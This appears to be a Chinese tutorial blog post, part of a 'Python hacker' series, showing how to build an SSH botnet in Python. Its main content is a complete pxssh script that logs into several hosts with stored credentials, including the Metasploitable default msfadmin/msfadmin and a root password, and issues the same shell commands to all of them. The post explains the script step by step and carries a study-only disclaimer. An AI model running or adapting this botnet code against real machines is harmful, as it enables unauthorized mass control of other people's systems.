Python黑客攻防(十三)构建SSH僵尸网络

注:本篇文章仅供学习交流,请勿用于非法用途。参考:《Python绝技:运用Python成为顶级黑客》。

前言

攻击者在达成恶意目的时,通常会使用被黑掉的计算机群。我们称之为僵尸网络”,因为被黑掉的电脑会像僵尸一样执行指令。

为构建僵尸网络,我们必须引入一一个新的概念一类。 类的概念是面向编程对象和编程模型的基础。在这一编程模型中,我们会把各个对象和它们所关联的方法一起实例化。 在我们的僵尸网络中,每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力。

代码

# coding=utf-8
import optparse
from pexpect import pxssh

class Client(object):
  
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from: ' + client.host
        print '[+] Command is: ' + output + '\n'


def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)


botNet = []
addClient('192.168.1.16', 'msfadmin', 'msfadmin')
addClient('192.168.1.14', 'root', '1')
botnetCommand('uname -a')
botnetCommand('whoami')

我们来看一下生成Client()类对象的代码。为了构造client 对象,需要主机名、用户名,以及密码或密钥。同时,这个类还要包含维持与肉机连接所需的方法—— connect()、send_command()和alive()。请注意,当我们引用属于类中的变量时,是以self后接变量名的方式表示它的。为了构建僵尸网络,我们要建立一个名为botnet 的全局数组,其中记录了单个client对象。接下来,我们要编写一个名为addClient()的方法, 它的输入是主机名、用户和密码,并以此实例化一个client对象,并把它添加到botnet 数组里。接下来的botnetCommand()函数只要一个参数——要发布的命令。这个函数遍历整个数组,把命令发送到botnet 数组中的每个chient上。

测试

kalilinux本机和msf靶机

在这里插入图片描述

微信公众号:黑客帮
在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值